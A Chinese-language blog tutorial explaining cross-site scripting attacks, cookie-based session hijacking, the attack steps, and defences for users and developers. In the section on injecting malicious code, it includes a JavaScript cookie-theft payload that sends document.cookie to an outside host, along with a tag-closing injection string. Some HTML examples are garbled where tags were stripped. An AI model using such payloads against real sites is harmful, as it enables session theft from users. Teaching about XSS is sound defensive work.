开启掘金成长之旅!这是我参与「掘金日新计划 · 12 月更文挑战」的第33天,点击查看活动详情
跨站脚本攻击
跨站脚本攻击概述
什么是XSS攻击
XSS是跨站脚本攻击(Cross Site Script) 。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该网页时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。
一般是网页中嵌入客户端恶意脚本代码,这些恶意脚本一般是用JS语言编写的,JS可以用来获取用户的Cookie、改变网页内容、URL跳转,则存在XSS漏洞的网站,就可盗取用户Cookie、黑掉页面、导航到恶意网站。 由于管理员也是用户,从而XSS也可以攻击“服务器端”。因为管理员要比普通用户的权限大很多,如对网站进行文件管理、数据管理等操作,而攻击者就有可能靠管理员身份作为“跳板”实施攻击。
XSS类型
反射型XSS:发出请求时,XSS代码出现在URL中,作为输入提交给服务端,服务端解析后响应,在响应内容中出现这段XSS代码,最后浏览器解析执行。
存储型XSS:当攻击者提交XSS代码被服务端接收并存储在服务端,当用户再次访问某个页面时,这段XSS代码被程序读出来响应给浏览器,造成XSS跨站攻击。
XSS会话劫持
Cookie是能够让网站服务器把少量文本数据存储到客户端的硬盘、内存或是从客户端的硬盘、内存读取数据的一种技术。
由于HTTP协议是无状态的,WEB服务器无法区分请求是否来源于同一个浏览器,因而WEB服务器需要额外的数据用于维护会话。Cookie就是随HTTP请求、响应一起被传递的额外数据,主要作用就是标识用户、维持会话。
cookie 技术有 个组件: ①在 HTTP 响应报文中的一个 cookie 首部行; ②在 HTTP 请求报文中的一个 cookie 首部行; ③在用户端系统中保留有一个 cookie文件,并由用户的浏览器进行管理; ④位于 Web 站点的一个后端数据库。
浏览网站时,网站可能往客户电脑硬盘写入一个非常小的文本文件,可以记录你的用户ID、密码、停留的时间等信息,这个文件就是Cookie文件。当客户再次访问该网站时,网站通过读取Cookie就得知客户相关信息,从而做出相应动作,如直接登录、而无须再次输入帐户和密码。
Cookie中的内容大多经过了加密处理,只有服务器处理程序才知道真正含义。每个Cookie文件都是txt文件,都以“用户名@网站URL”命名。
跨站脚本攻击的危害
XSS攻击可以搜集用户信息,攻击者通常会在有漏洞的程序中插入 JavaScript、VBScript、 ActiveX或Flash以欺骗用户。
将弹出一个包含游览者cookie信息的对话框,如果用户已通过帐号登录网站,在显示的Cookie信息中将会包含用户的帐户名和密码。 弹出一网页窗口,其网址为: www.xxx.cn/default.asp
跨站脚本攻击发起条件
-
跨站脚本漏洞主要是由于Web服务器没有对用户的输入进行有效性验证或验证强度不够,而又轻易地将它们返回给客户端造成的
- Web服务器允许用户在表格或编辑框中输入不相关的字符
- Web服务器存储并允许把用户的输入显示在返回给终端用户的页面上,而这个回显并没有去除非法字符或者重新进行编码
-
实现跨站脚本的攻击至少需要两个条件:
- 需要存在跨站脚本漏洞的web应用程序;
- 需要用户点击连接或者是访问某一页面
跨站脚本攻击过程
寻找XSS漏洞
我们浏览的网页全部都是基于超文本标记语言( HTML )创建的,如显示一个超链接: baidu
XSS攻击正是通过向HTML代码中注入恶意的脚本实现的,HTML指定了脚本标记为:
在没有过滤字符的情况下,只需要保持完整无错的脚本标记即可触发XSS。假如我们在某个资料表单提交内容,表单提交内容就是某个标记属性所赋的值,我们可以构造如下值来闭合标记来构造完整无错的脚本标记: "><“
把这个内容赋值给前面标记的href属性,则结果形成了 <"">baidu
注入恶意代码
注入恶意代码的目的是:当被欺骗者访问了含有这段恶意代码的网页时,能实现你的攻击目的。
例如,通过这些恶意代码,将访问者的Cookie信息发到远端攻击者手中,或者是提升用户的论坛权限、上传任意文件等。
例如,把cookie发到远程的javascript代码可以这样写: javascript:window.location=‘www.cgisecurity.com/cgi-bin/coo…?’+document.cookie window.location的作用是使网页自动跳转到另一个页面;document.cookie的作用是读取cookie。
当然,接收输入的网页可能会对<,>,’,”等字符进行过滤,这时,就需要进行编码了。
欺骗用户访问
当你把恶意的代码插入到网页中之后,接下来要做的事情就是让目标用户来访问你的网页,“间接”通过这个目标用户来完成你的目的。
并不是所有用户都有足够的权限能帮你完成的恶意目的,例如刚才那个在论坛中提升用户权限的跨站脚本,一般的论坛只能超级管理员才有这个权限。这时,你就需要诱骗他来访问你的恶意页面。
防御跨站脚本攻击
XSS攻击最主要目标不是Web服务器本身,而是登录网站的用户。 针对XSS攻击,分析对普通浏览网页用户及WEB应用开发者给出的安全建议。
普通的浏览网页用户
- 在网站、电子邮件或者即时通讯软件中点击链接时需要格外小心:留心可疑的过长链接,尤其是它们看上去包含了HTML代码。
- 对于XSS漏洞,没有哪种web浏览器具有明显的安全优势。Firefox也同样不安全。为了获得更多的安全性,可以安装一些浏览器插件:比如Firefox的NoScript或者Netcraft工具条。
- 世界上没有“100%的有效”。尽量避免访问有问题的站点:比如提供hack信息和工具、破解软件、成人照片的网站。这些类型的网站会利用浏览器漏洞并危害操作系统。
Web应用开发者
- 对于开发者,首先应该把精力放到对所有用户提交内容进行可靠的输入验证上。这些提交内容包括URL、查询关键字、post数据等。只接受在你所规定长度范围内、采用适当格式的字符,阻塞、过滤或者忽略其它的任何东西。
- 保护所有敏感的功能,以防被机器人自动执行或者被第三方网站所执行。可采用的技术有:session标记(session tokens)、验证码。
- 如果你的web应用必须支持用户提交HTML,那么应用的安全性将受到灾难性的下滑。但是你还是可以做一些事来保护web站点:确认你接收的HTML内容被妥善地格式化,仅包含最小化的、安全的tag(绝对没有JavaScript),去掉任何对远程内容的引用(尤其是CSS样式表和JavaScript)